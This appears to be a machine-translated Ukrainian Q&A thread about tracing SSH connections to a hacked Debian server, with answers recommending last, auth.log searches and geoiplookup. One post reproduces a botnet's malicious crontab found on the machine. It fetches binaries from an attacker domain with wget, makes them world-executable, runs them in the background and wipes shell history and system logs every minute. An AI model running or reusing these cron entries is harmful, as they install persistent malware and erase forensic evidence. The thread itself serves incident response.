Історія IP-адрес, які отримували доступ до сервера через ssh

Мені стало відомо, що мій сервер був зламаний та інфікований відомим китайським ботнетом.

Це був прототип / тестування віртуальної машини з власним статичним IP (американською адресою), тому ніякої шкоди не було завдано (просто знадобилося мені час, щоб це зрозуміти).

Тепер я хотів би дізнатися, які IP / s використовувались для вторгнення, щоб дізнатися, чи не відбулася атака з Китаю.

Чи є спосіб перегляду історії отриманих з'єднань на ssh на сервері?

Редагувати: Система Linux Debian 7

Подивіться на висновок lastкоманди і що-небудь з IP-адресою чи ім'ям хоста замість порожнього простору потрапило по мережі. Якщо sshdце єдиний спосіб зробити це в цій системі, тоді ви йдете.

Крім того, (якщо це Linux), ви можете перевірити /var/log/secure(на базі RH-дистрибутивів) або /var/log/auth.log(на дистрибутивах, що базуються на Debian), де sshdзазвичай слідкуватимуть за з'єднаннями, навіть якщо вони не призводять до успішного входу в систему (який потрапляє utmp/ wtmp, який це те, що lastбуде читати з). Приклад:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2

IIRC Solaris's sshd(яка не обов'язково може бути OpenSSH sshd) буде зберігати цю інформацію в/var/adm/messages

Редагувати:

@derobert чудово підкреслює. Важливо пам'ятати , що в будь-якій системі, якщо ваш обліковий запис суперкористувача скомпрометована, то всі ставки вимкнені , тому що лог - файли , такі як /var/log/wtmpабо /var/adm/messagesможуть бути змінені зловмисником. Це можна пом'якшити, якщо ви перемістите журнали поза сервером у безпечне місце.

Наприклад, в одному магазині, в якому я працював, у нас була машина "Сейф аудиту", яка була захищена таким чином, щоб отримувати файли журналів аудиту лише з різних серверів в центрі обробки даних. Я б рекомендував мати подібне налаштування в майбутньому (оскільки "у мене є тестова машина" звучить так, як ви працюєте у великому магазині)

Чи є спосіб перегляду історії отриманих з'єднань на ssh на сервері?

Це має дати вам список:

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u

Потім ви можете використовувати geoiplookupз geoip-binпакета , щоб перейти від імені хоста або IP-адреси в країну.

Ну, як і очікувалося, і як сказав @Joel Davis, всі журнали були вилучені, але був один файл, який згадував @Ramesh, який має кілька спроб отримати доступ до користувача root, але кілька разів не зміг ввести правильний пароль, а потім відключити для занадто багато повторних спроб.

Я провів слідку за трьома адресами, а дві - з Китаю, а інша - з Пакистану; це IP-адреси:

221.120.224.179
116.10.191.218
61.174.51.221

Більше інформації про ботнет, який був введений на сервер після його компрометації:

Хакери редагують crontab, щоб виконати 7 виконуваних файлів, котрі х х разів використовуватимуть весь процесор, максимум вихідних серверів, а потім просто гинуть. Крім того, вони додають readme до crontab 100 разів, щоб приховати додані рядки, тож коли ви будете робити, crontab -lви будете спаменовані readme прихованими рядками. Щоб обійти це, я використав crontab -l | grep -v '^#'і ось результат цієї команди:

*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

Як бачите, всі файли журналів очищені, тому я не зміг отримати багато інформації.

Це збило весь сервер (усі віртуальні машини), спричиняючи тайм-аути на сайтах та в проксімоксі. Ось графік (шипи позначають ботнет, що активно DDoS'ing і помічає мережу поза):

Як результат, я додаду весь діапазон китайських IP-адрес до брандмауера, щоб перекрити всі з'єднання (у мене немає китайських користувачів, тому мені не байдуже), я також заборонити віддалені кореневі входи та використовувати довгі складні паролі. Я також, швидше за все, зміню ssh-порт і також використовувати приватні ключі ssh.

З цієї відповіді я бачу нижню інформацію.

Якщо говорити про SSH-сервери, я дам вам рішення командного рядка.

Відстежуйте вхід користувачів та вихід із системи . Це просто, файл /var/log/auth.logповинен мати цю інформацію.

Відстежуйте активність цих користувачів : Якщо вони дещо невинні, ви можете перевірити файл .bash_historyу їх домашньому каталозі. Ви побачите список команд, які вони виконували. Проблема, звичайно, у тому, що вони можуть видалити або відредагувати цей файл.

Забороняйте користувачам видаляти журнали : користувачі не повинні мати можливість торкатися auth.log. Для того, щоб вони не bash_historyмогли грати з вами, потрібно зробити пару трюків.

Що робити, якщо користувачеві вдається отримати кореневий доступ? : Ти накручений. Якщо він не помилиться, він зможе приховати всі його кроки.

Також з цієї відповіді ми бачимо IP-адресу клієнта за допомогою SSH_CLIENTзмінної.

Також з цієї відповіді я бачу, що історія ssh може зберігатися в цих файлах.

На додаток до /var/log/lastlog, є 3 файлів в /var/runі /var/log: utmp, wtmpі btmp, які тримають інформацію про поточні логіни (і додаткової інформації), історичні та невдалі логіни. Детальний опис див. У wiki . Ви не можете редагувати файли за допомогою звичайних редакторів, але їх можна видалити.

Найпростіша команда для отримання останніх 10 користувачів, які ввійшли до машини, це last|head.

Щоб отримати всіх користувачів, просто використовуйте lastкоманду

Ця машина була порушена. Це означає, що будь-яким даним, історичним чи поточним, більше не можна довіряти.

Словом, відповідь - ні. Ви не можете бути впевнені, що знайшли вихідну адресу з будь-якого файлу журналу, записаного на цій машині.

Протріть і перевстановіть. І патч.

Щоб побачити лише успішні спроби входу з паролем:

zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted password for'

для debian тестовий пошук формулюється дещо інакше

zgrep sshd /var/log/auth.log* -h |grep -F 'session opened for user'